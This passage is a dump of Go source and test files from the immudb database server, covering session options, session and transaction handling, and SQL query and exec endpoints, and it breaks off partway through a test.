    "path": "pkg/server/sessions/options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sessions\n\nimport (\n\t\"crypto/rand\"\n\t\"fmt\"\n\t\"io\"\n\t\"time\"\n)\n\ntype Options struct {\n\tSessionGuardCheckInterval time.Duration\n\t// MaxSessionInactivityTime is a duration for the amount of time after which an idle session would be closed by the server\n\tMaxSessionInactivityTime time.Duration\n\t// MaxSessionAgeTime is a duration for the maximum amount of time a session may exist before it will be closed by the server\n\tMaxSessionAgeTime time.Duration\n\t// Timeout the server waits for a duration of Timeout and if no activity is seen even after that the session is closed\n\tTimeout time.Duration\n\t// Max number of simultaneous sessions\n\tMaxSessions int\n\t// Random number generator\n\tRandSource io.Reader\n}\n\nfunc DefaultOptions() *Options {\n\treturn &Options{\n\t\tSessionGuardCheckInterval: time.Minute * 1,\n\t\tMaxSessionInactivityTime:  time.Minute * 3,\n\t\tMaxSessionAgeTime:         infinity,\n\t\tTimeout:                   time.Minute * 2,\n\t\tMaxSessions:               100,\n\t\tRandSource:                rand.Reader,\n\t}\n}\n\nfunc (o *Options) WithSessionGuardCheckInterval(interval time.Duration) *Options {\n\to.SessionGuardCheckInterval = interval\n\treturn o\n}\nfunc (o *Options) WithMaxSessionInactivityTime(maxInactivityTime time.Duration) *Options {\n\to.MaxSessionInactivityTime = maxInactivityTime\n\treturn o\n}\n\nfunc (o *Options) WithMaxSessionAgeTime(maxAgeTime time.Duration) *Options {\n\to.MaxSessionAgeTime = maxAgeTime\n\treturn o\n}\n\nfunc (o *Options) WithTimeout(timeout time.Duration) *Options {\n\to.Timeout = timeout\n\treturn o\n}\n\nfunc (o *Options) WithMaxSessions(maxSessions int) *Options {\n\to.MaxSessions = maxSessions\n\treturn o\n}\n\nfunc (o *Options) WithRandSource(src io.Reader) *Options {\n\to.RandSource = src\n\treturn o\n}\n\nfunc (o *Options) Validate() error {\n\tif o.MaxSessionAgeTime < 0 {\n\t\treturn fmt.Errorf(\"%w: invalid MaxSessionAgeTime\", ErrInvalidOptionsProvided)\n\t}\n\tif o.MaxSessionInactivityTime < 0 {\n\t\treturn fmt.Errorf(\"%w: invalid MaxSessionInactivityTime\", ErrInvalidOptionsProvided)\n\t}\n\tif o.Timeout < 0 {\n\t\treturn fmt.Errorf(\"%w: invalid Timeout\", ErrInvalidOptionsProvided)\n\t}\n\tif o.SessionGuardCheckInterval <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid SessionGuardCheckInterval\", ErrInvalidOptionsProvided)\n\t}\n\tif o.MaxSessions <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid MaxSessions\", ErrInvalidOptionsProvided)\n\t}\n\tif o.RandSource == nil {\n\t\treturn fmt.Errorf(\"%w: invalid RandSource\", ErrInvalidOptionsProvided)\n\t}\n\treturn nil\n}\n\nfunc (o *Options) Normalize() *Options {\n\tif o.MaxSessionAgeTime == 0 {\n\t\to.MaxSessionAgeTime = infinity\n\t}\n\tif o.MaxSessionInactivityTime == 0 {\n\t\to.MaxSessionInactivityTime = infinity\n\t}\n\tif o.Timeout == 0 {\n\t\to.Timeout = infinity\n\t}\n\treturn o\n}\n"
  },
  {
    "path": "pkg/server/sessions/options_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sessions\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestOptions(t *testing.T) {\n\top := Options{}\n\n\trandSrc := bytes.NewReader([]byte{})\n\n\top.WithMaxSessionAgeTime(time.Second).\n\t\tWithSessionGuardCheckInterval(2 * time.Second).\n\t\tWithMaxSessionInactivityTime(3 * time.Second).\n\t\tWithTimeout(4 * time.Second).\n\t\tWithMaxSessions(99).\n\t\tWithRandSource(randSrc)\n\n\tassert.Equal(t, time.Second, op.MaxSessionAgeTime)\n\tassert.Equal(t, 2*time.Second, op.SessionGuardCheckInterval)\n\tassert.Equal(t, 3*time.Second, op.MaxSessionInactivityTime)\n\tassert.Equal(t, 4*time.Second, op.Timeout)\n\tassert.Equal(t, 99, op.MaxSessions)\n\tassert.Equal(t, randSrc, op.RandSource)\n}\n\nfunc TestOptionsValidate(t *testing.T) {\n\top := DefaultOptions()\n\terr := op.Validate()\n\trequire.NoError(t, err)\n\n\tfor _, op := range []*Options{\n\t\tDefaultOptions().WithSessionGuardCheckInterval(0),\n\t\tDefaultOptions().WithSessionGuardCheckInterval(-1 * time.Second),\n\t\tDefaultOptions().WithMaxSessionInactivityTime(-1 * time.Second),\n\t\tDefaultOptions().WithMaxSessionAgeTime(-1 * time.Second),\n\t\tDefaultOptions().WithTimeout(-1 * time.Second),\n\t\tDefaultOptions().WithMaxSessions(0),\n\t\tDefaultOptions().WithMaxSessions(-1),\n\t\tDefaultOptions().WithRandSource(nil),\n\t} {\n\t\tt.Run(fmt.Sprintf(\"%+v\", op), func(t *testing.T) {\n\t\t\terr = op.Validate()\n\t\t\trequire.ErrorIs(t, err, ErrInvalidOptionsProvided)\n\t\t})\n\t}\n}\n\nfunc TestOptionsNormalize(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithMaxSessionAgeTime(0).\n\t\tWithMaxSessionInactivityTime(0).\n\t\tWithTimeout(0).\n\t\tNormalize()\n\n\trequire.Equal(t, infinity, opts.MaxSessionInactivityTime)\n\trequire.Equal(t, infinity, opts.MaxSessionAgeTime)\n\trequire.Equal(t, infinity, opts.Timeout)\n}\n"
  },
  {
    "path": "pkg/server/sessions/session.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sessions\n\nimport (\n\t\"context\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/cache\"\n\t\"github.com/codenotary/immudb/embedded/document\"\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/multierr\"\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/errors\"\n\t\"github.com/codenotary/immudb/pkg/server/sessions/internal/transactions\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\n// DefaultMaxDocumentReadersCacheSize is the default maximum number of document readers to keep in cache\nconst DefaultMaxDocumentReadersCacheSize = 1\n\nvar (\n\tErrPaginatedDocumentReaderNotFound = errors.New(\"document reader not found\")\n)\n\ntype PaginatedDocumentReader struct {\n\tReader         document.DocumentReader // reader to read from\n\tQuery          *protomodel.Query\n\tLastPageNumber uint32 // last read page number\n\tLastPageSize   uint32 // number of items per page\n}\n\ntype Session struct {\n\tmux              sync.RWMutex\n\tid               string\n\tuser             *auth.User\n\tdatabase         database.DB\n\tcreationTime     time.Time\n\tlastActivityTime time.Time\n\ttransactions     map[string]transactions.Transaction\n\tdocumentReaders  *cache.Cache // track searchID to document.DocumentReader\n\tlog              logger.Logger\n}\n\nfunc NewSession(sessionID string, user *auth.User, db database.DB, log logger.Logger) *Session {\n\tnow := time.Now()\n\tlruCache, _ := cache.NewCache(DefaultMaxDocumentReadersCacheSize)\n\n\treturn &Session{\n\t\tid:               sessionID,\n\t\tuser:             user,\n\t\tdatabase:         db,\n\t\tcreationTime:     now,\n\t\tlastActivityTime: now,\n\t\ttransactions:     make(map[string]transactions.Transaction),\n\t\tlog:              log,\n\t\tdocumentReaders:  lruCache,\n\t}\n}\n\nfunc (s *Session) NewTransaction(ctx context.Context, opts *sql.TxOptions) (transactions.Transaction, error) {\n\ts.mux.Lock()\n\tdefer s.mux.Unlock()\n\n\ttx, err := transactions.NewTransaction(ctx, opts, s.database, s.id)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.transactions[tx.GetID()] = tx\n\treturn tx, nil\n}\n\nfunc (s *Session) RemoveTransaction(transactionID string) error {\n\ts.mux.Lock()\n\tdefer s.mux.Unlock()\n\treturn s.removeTransaction(transactionID)\n}\n\n// not thread safe\nfunc (s *Session) removeTransaction(transactionID string) error {\n\tif _, ok := s.transactions[transactionID]; ok {\n\t\tdelete(s.transactions, transactionID)\n\t\treturn nil\n\t}\n\treturn ErrTransactionNotFound\n}\n\nfunc (s *Session) CloseDocumentReaders() error {\n\ts.mux.Lock()\n\tdefer s.mux.Unlock()\n\n\tmerr := multierr.NewMultiErr()\n\n\tsearchIDs := make([]string, 0)\n\tif err := s.documentReaders.Apply(func(k, v interface{}) error {\n\t\tsearchIDs = append(searchIDs, k.(string))\n\t\treturn nil\n\t}); err != nil {\n\t\ts.log.Errorf(\"Error while removing paginated reader: %v\", err)\n\t\tmerr.Append(err)\n\t}\n\n\tfor _, searchID := range searchIDs {\n\t\tif err := s.deleteDocumentReader(searchID); err != nil {\n\t\t\ts.log.Errorf(\"Error while removing paginated reader: %v\", err)\n\t\t\tmerr.Append(err)\n\t\t}\n\t}\n\n\treturn merr.Reduce()\n}\n\nfunc (s *Session) RollbackTransactions() error {\n\ts.mux.Lock()\n\tdefer s.mux.Unlock()\n\n\tmerr := multierr.NewMultiErr()\n\n\tfor _, tx := range s.transactions {\n\t\ts.log.Debugf(\"Deleting transaction %s\", tx.GetID())\n\n\t\tif err := tx.Rollback(); err != nil {\n\t\t\ts.log.Errorf(\"Error while rolling back transaction %s: %v\", tx.GetID(), err)\n\t\t\tmerr.Append(err)\n\t\t\tcontinue\n\t\t}\n\n\t\tif err := s.removeTransaction(tx.GetID()); err != nil {\n\t\t\ts.log.Errorf(\"Error while removing transaction %s: %v\", tx.GetID(), err)\n\t\t\tmerr.Append(err)\n\t\t\tcontinue\n\t\t}\n\t}\n\n\treturn merr.Reduce()\n}\n\nfunc (s *Session) GetID() string {\n\ts.mux.Lock()\n\tdefer s.mux.Unlock()\n\treturn s.id\n}\n\nfunc (s *Session) GetTransaction(transactionID string) (transactions.Transaction, error) {\n\ts.mux.RLock()\n\tdefer s.mux.RUnlock()\n\n\ttx, ok := s.transactions[transactionID]\n\tif !ok {\n\t\treturn nil, transactions.ErrTransactionNotFound\n\t}\n\n\treturn tx, nil\n}\n\nfunc GetSessionIDFromContext(ctx context.Context) (string, error) {\n\tmd, ok := metadata.FromIncomingContext(ctx)\n\tif !ok {\n\t\treturn \"\", ErrNoSessionAuthDataProvided\n\t}\n\tauthHeader, ok := md[\"sessionid\"]\n\tif !ok || len(authHeader) < 1 {\n\t\treturn \"\", ErrNoSessionAuthDataProvided\n\t}\n\tsessionID := authHeader[0]\n\tif sessionID == \"\" {\n\t\treturn \"\", ErrNoSessionIDPresent\n\t}\n\treturn sessionID, nil\n}\n\nfunc GetTransactionIDFromContext(ctx context.Context) (string, error) {\n\tmd, ok := metadata.FromIncomingContext(ctx)\n\tif !ok {\n\t\treturn \"\", ErrNoTransactionAuthDataProvided\n\t}\n\tauthHeader, ok := md[\"transactionid\"]\n\tif !ok || len(authHeader) < 1 {\n\t\treturn \"\", ErrNoTransactionAuthDataProvided\n\t}\n\ttransactionID := authHeader[0]\n\tif transactionID == \"\" {\n\t\treturn \"\", ErrNoTransactionIDPresent\n\t}\n\treturn transactionID, nil\n}\n\nfunc (s *Session) GetUser() *auth.User {\n\ts.mux.RLock()\n\tdefer s.mux.RUnlock()\n\treturn s.user\n}\n\nfunc (s *Session) GetDatabase() database.DB {\n\ts.mux.RLock()\n\tdefer s.mux.RUnlock()\n\treturn s.database\n}\n\nfunc (s *Session) SetDatabase(db database.DB) {\n\ts.mux.Lock()\n\tdefer s.mux.Unlock()\n\ts.database = db\n}\n\nfunc (s *Session) GetLastActivityTime() time.Time {\n\ts.mux.RLock()\n\tdefer s.mux.RUnlock()\n\treturn s.lastActivityTime\n}\n\nfunc (s *Session) SetLastActivityTime(t time.Time) {\n\ts.mux.Lock()\n\tdefer s.mux.Unlock()\n\ts.lastActivityTime = t\n}\n\nfunc (s *Session) GetCreationTime() time.Time {\n\ts.mux.RLock()\n\tdefer s.mux.RUnlock()\n\treturn s.creationTime\n}\n\nfunc (s *Session) SetPaginatedDocumentReader(searchID string, reader *PaginatedDocumentReader) {\n\ts.mux.Lock()\n\tdefer s.mux.Unlock()\n\n\t// add the reader to the documentReaders map\n\ts.documentReaders.Put(searchID, reader)\n}\n\nfunc (s *Session) GetDocumentReader(searchID string) (*PaginatedDocumentReader, error) {\n\ts.mux.RLock()\n\tdefer s.mux.RUnlock()\n\n\t// get the io.Reader object for the specified searchID\n\tval, err := s.documentReaders.Get(searchID)\n\tif err != nil {\n\t\treturn nil, ErrPaginatedDocumentReaderNotFound\n\t}\n\n\treader := val.(*PaginatedDocumentReader)\n\n\treturn reader, nil\n}\n\nfunc (s *Session) deleteDocumentReader(searchID string) error {\n\t// get the io.Reader object for the specified searchID\n\tval, err := s.documentReaders.Get(searchID)\n\tif err != nil {\n\t\treturn ErrPaginatedDocumentReaderNotFound\n\t}\n\n\treader := val.(*PaginatedDocumentReader)\n\n\t// close the reader\n\terr = reader.Reader.Close()\n\ts.documentReaders.Pop(searchID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (s *Session) DeleteDocumentReader(searchID string) error {\n\ts.mux.Lock()\n\tdefer s.mux.Unlock()\n\n\treturn s.deleteDocumentReader(searchID)\n}\n\nfunc (s *Session) UpdatePaginatedDocumentReader(searchID string, lastPage uint32, lastPageSize uint32) error {\n\ts.mux.Lock()\n\tdefer s.mux.Unlock()\n\n\t// get the io.Reader object for the specified searchID\n\tval, err := s.documentReaders.Get(searchID)\n\tif err != nil {\n\t\treturn ErrPaginatedDocumentReaderNotFound\n\t}\n\n\treader := val.(*PaginatedDocumentReader)\n\treader.LastPageNumber = lastPage\n\treader.LastPageSize = lastPageSize\n\n\treturn nil\n}\n\nfunc (s *Session) GetDocumentReadersCount() int {\n\ts.mux.RLock()\n\tdefer s.mux.RUnlock()\n\n\treturn s.documentReaders.EntriesCount()\n}\n"
  },
  {
    "path": "pkg/server/sessions/session_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sessions\n\nimport (\n\t\"context\"\n\tstdos \"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\nfunc TestNewSession(t *testing.T) {\n\tsess := NewSession(\"sessID\", &auth.User{}, nil, logger.NewSimpleLogger(\"test\", stdos.Stdout))\n\trequire.NotNil(t, sess)\n\trequire.Less(t, sess.GetCreationTime(), time.Now())\n\trequire.Less(t, sess.GetLastActivityTime(), time.Now())\n}\n\nfunc TestGetSessionIDFromContext(t *testing.T) {\n\tctx := context.Background()\n\tctx = metadata.NewIncomingContext(ctx, metadata.Pairs(\"sessionid\", \"sessionID\"))\n\tsessionID, err := GetSessionIDFromContext(ctx)\n\trequire.NoError(t, err)\n\trequire.Equal(t, sessionID, \"sessionID\")\n\t_, err = GetSessionIDFromContext(metadata.NewIncomingContext(ctx, metadata.Pairs(\"sessionid\", \"\")))\n\trequire.ErrorIs(t, ErrNoSessionIDPresent, err)\n\t_, err = GetSessionIDFromContext(context.Background())\n\trequire.ErrorIs(t, ErrNoSessionIDPresent, err)\n\t_, err = GetSessionIDFromContext(metadata.NewIncomingContext(ctx, metadata.Pairs()))\n\trequire.ErrorIs(t, ErrNoSessionAuthDataProvided, err)\n}\n"
  },
  {
    "path": "pkg/server/sever_current_state_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/signer\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\nfunc TestServerCurrentStateSigned(t *testing.T) {\n\tdir := t.TempDir()\n\n\ts := DefaultServer()\n\n\ts.WithOptions(DefaultOptions().WithDir(dir))\n\n\tdbRootpath := dir\n\n\tsig, err := signer.NewSigner(\"./../../test/signer/ec3.key\")\n\trequire.NoError(t, err)\n\n\tstSig := NewStateSigner(sig)\n\ts = s.WithOptions(s.Options.WithAuth(false).WithSigningKey(\"foo\")).WithStateSigner(stSig).(*ImmuServer)\n\n\terr = s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword, false)\n\trequire.NoError(t, err)\n\n\terr = s.loadDefaultDatabase(dbRootpath, nil)\n\trequire.NoError(t, err)\n\n\tctx := context.Background()\n\n\t_, _ = s.Set(ctx, &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{\n\t\t\t{\n\t\t\t\tKey:   []byte(\"Alberto\"),\n\t\t\t\tValue: []byte(\"Tomba\"),\n\t\t\t},\n\t\t},\n\t},\n\t)\n\n\tstate, err := s.CurrentState(ctx, &emptypb.Empty{})\n\n\trequire.NoError(t, err)\n\trequire.IsType(t, &schema.ImmutableState{}, state)\n\trequire.IsType(t, &schema.Signature{}, state.Signature)\n\trequire.NotNil(t, state.Signature.Signature)\n\trequire.NotNil(t, state.Signature.PublicKey)\n\n\tecdsaPK, err := signer.UnmarshalKey(state.Signature.PublicKey)\n\trequire.NoError(t, err)\n\n\terr = signer.Verify(state.ToBytes(), state.Signature.Signature, ecdsaPK)\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/server/sql.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n)\n\nfunc (s *ImmuServer) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"VerifiableSQLGet\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tventry, err := db.VerifiableSQLGet(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif s.StateSigner != nil {\n\t\thdr := schema.TxHeaderFromProto(ventry.VerifiableTx.DualProof.TargetTxHeader)\n\t\talh := hdr.Alh()\n\n\t\tnewState := &schema.ImmutableState{\n\t\t\tDb:     db.GetName(),\n\t\t\tTxId:   hdr.ID,\n\t\t\tTxHash: alh[:],\n\t\t}\n\n\t\terr = s.StateSigner.Sign(newState)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tventry.VerifiableTx.Signature = newState.Signature\n\t}\n\n\treturn ventry, nil\n}\n\nfunc (s *ImmuServer) SQLExec(ctx context.Context, req *schema.SQLExecRequest) (*schema.SQLExecResult, error) {\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\tdb, err := s.getDBFromCtx(ctx, \"SQLExec\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx, err := db.NewSQLTx(ctx, sql.DefaultTxOptions())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer tx.Cancel()\n\n\tntx, ctxs, err := db.SQLExec(ctx, tx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif ntx != nil {\n\t\tntx.Cancel()\n\t\terr = ErrTxNotProperlyClosed\n\t}\n\n\tres := &schema.SQLExecResult{\n\t\tTxs:       make([]*schema.CommittedSQLTx, len(ctxs)),\n\t\tOngoingTx: ntx != nil && !ntx.Closed(),\n\t}\n\n\tfor i, ctx := range ctxs {\n\t\tfirstPKs := make(map[string]*schema.SQLValue, len(ctx.FirstInsertedPKs()))\n\t\tlastPKs := make(map[string]*schema.SQLValue, len(ctx.LastInsertedPKs()))\n\n\t\tfor k, n := range ctx.LastInsertedPKs() {\n\t\t\tlastPKs[k] = &schema.SQLValue{Value: &schema.SQLValue_N{N: n}}\n\t\t}\n\t\tfor k, n := range ctx.FirstInsertedPKs() {\n\t\t\tfirstPKs[k] = &schema.SQLValue{Value: &schema.SQLValue_N{N: n}}\n\t\t}\n\n\t\tres.Txs[i] = &schema.CommittedSQLTx{\n\t\t\tHeader:           schema.TxHeaderToProto(ctx.TxHeader()),\n\t\t\tUpdatedRows:      uint32(ctx.UpdatedRows()),\n\t\t\tLastInsertedPKs:  lastPKs,\n\t\t\tFirstInsertedPKs: firstPKs,\n\t\t}\n\t}\n\n\treturn res, err\n}\n\nfunc (s *ImmuServer) UnarySQLQuery(ctx context.Context, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) {\n\tvar sqlRes *schema.SQLQueryResult\n\terr := s.sqlQuery(ctx, req, func(res *schema.SQLQueryResult) error {\n\t\tsqlRes = res\n\t\treturn nil\n\t})\n\treturn sqlRes, err\n}\n\nfunc (s *ImmuServer) sqlQuery(ctx context.Context, req *schema.SQLQueryRequest, send func(*schema.SQLQueryResult) error) error {\n\tdb, err := s.getDBFromCtx(ctx, \"SQLQuery\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttx, err := db.NewSQLTx(ctx, sql.DefaultTxOptions().WithReadOnly(true))\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer tx.Cancel()\n\n\treader, err := db.SQLQuery(ctx, tx, req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer reader.Close()\n\n\t// NOTE: setting batchSize to a value strictly less than db.MaxResultSize() can result in more than one call to srv.Send\n\t// for transferring less than db.MaxResultSize() rows.\n\t// As a consequence, clients which are still using the old unary rpc version of SQLQuery will get stuck because\n\t// they don't know how to handle multiple messages.\n\treturn s.streamRows(ctx, reader, db.MaxResultSize(), send)\n}\n\nfunc (s *ImmuServer) SQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuService_SQLQueryServer) error {\n\treturn s.sqlQuery(srv.Context(), req, srv.Send)\n}\n\nfunc (s *ImmuServer) streamRows(ctx context.Context, reader sql.RowReader, batchSize int, send func(*schema.SQLQueryResult) error) error {\n\tdescriptors, err := reader.Columns(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\trows := make([]*schema.Row, batchSize)\n\n\tcols := descriptorsToProtoColumns(descriptors)\n\n\tcolumnsSent := false\n\terr = sql.ReadRowsBatch(ctx, reader, batchSize, func(rowBatch []*sql.Row) error {\n\t\tres := &schema.SQLQueryResult{\n\t\t\tRows: sqlRowsToProto(descriptors, rowBatch, rows),\n\t\t}\n\n\t\t// columns are only sent within the first message\n\t\tif !columnsSent {\n\t\t\tres.Columns = cols\n\t\t\tcolumnsSent = true\n\t\t}\n\t\treturn send(res)\n\t})\n\n\tif err == nil && !columnsSent {\n\t\treturn send(&schema.SQLQueryResult{Columns: cols})\n\t}\n\treturn err\n}\n\nfunc descriptorsToProtoColumns(descriptors []sql.ColDescriptor) []*schema.Column {\n\tcols := make([]*schema.Column, len(descriptors))\n\tfor i, des := range descriptors {\n\t\tcols[i] = &schema.Column{Name: des.Selector(), Type: des.Type}\n\t}\n\treturn cols\n}\n\nfunc sqlRowsToProto(descriptors []sql.ColDescriptor, rows []*sql.Row, outRows []*schema.Row) []*schema.Row {\n\tif len(rows) == 0 {\n\t\treturn nil\n\t}\n\n\tfor i, sqlRow := range rows {\n\t\trow := &schema.Row{\n\t\t\tColumns: make([]string, len(descriptors)),\n\t\t\tValues:  make([]*schema.SQLValue, len(descriptors)),\n\t\t}\n\n\t\tfor i := range descriptors {\n\t\t\trow.Columns[i] = descriptors[i].Selector()\n\n\t\t\tv := sqlRow.ValuesByPosition[i]\n\t\t\t_, isNull := v.(*sql.NullValue)\n\t\t\tif isNull {\n\t\t\t\trow.Values[i] = &schema.SQLValue{Value: &schema.SQLValue_Null{}}\n\t\t\t} else {\n\t\t\t\trow.Values[i] = schema.TypedValueToRowValue(v)\n\t\t\t}\n\t\t}\n\t\toutRows[i] = row\n\t}\n\treturn outRows[:len(rows)]\n}\n\nfunc (s *ImmuServer) ListTables(ctx context.Context, _ *empty.Empty) (*schema.SQLQueryResult, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"ListTables\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.ListTables(ctx, nil)\n}\n\nfunc (s *ImmuServer) DescribeTable(ctx context.Context, req *schema.Table) (*schema.SQLQueryResult, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tdb, err := s.getDBFromCtx(ctx, \"DescribeTable\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.DescribeTable(ctx, nil, req.TableName)\n}\n"
  },
  {
    "path": "pkg/server/sql_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\nfunc TestSQLInteraction(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword).\n\t\tWithSigningKey(\"./../../test/signer/ec1.key\")\n\n\ts := DefaultServer().WithOptions(serverOptions).(*ImmuServer)\n\n\ts.Initialize()\n\n\tctx := context.Background()\n\n\t_, err := s.ListTables(ctx, &emptypb.Empty{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.SQLExec(ctx, nil)\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\terr = s.SQLQuery(nil, &ImmuService_SQLQueryServerMock{ctx: ctx})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.DescribeTable(ctx, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = s.DescribeTable(ctx, &schema.Table{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.VerifiableSQLGet(ctx, nil)\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\tres, err := s.ListTables(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n\trequire.Empty(t, res.Rows)\n\n\t_, err = s.SQLExec(ctx, 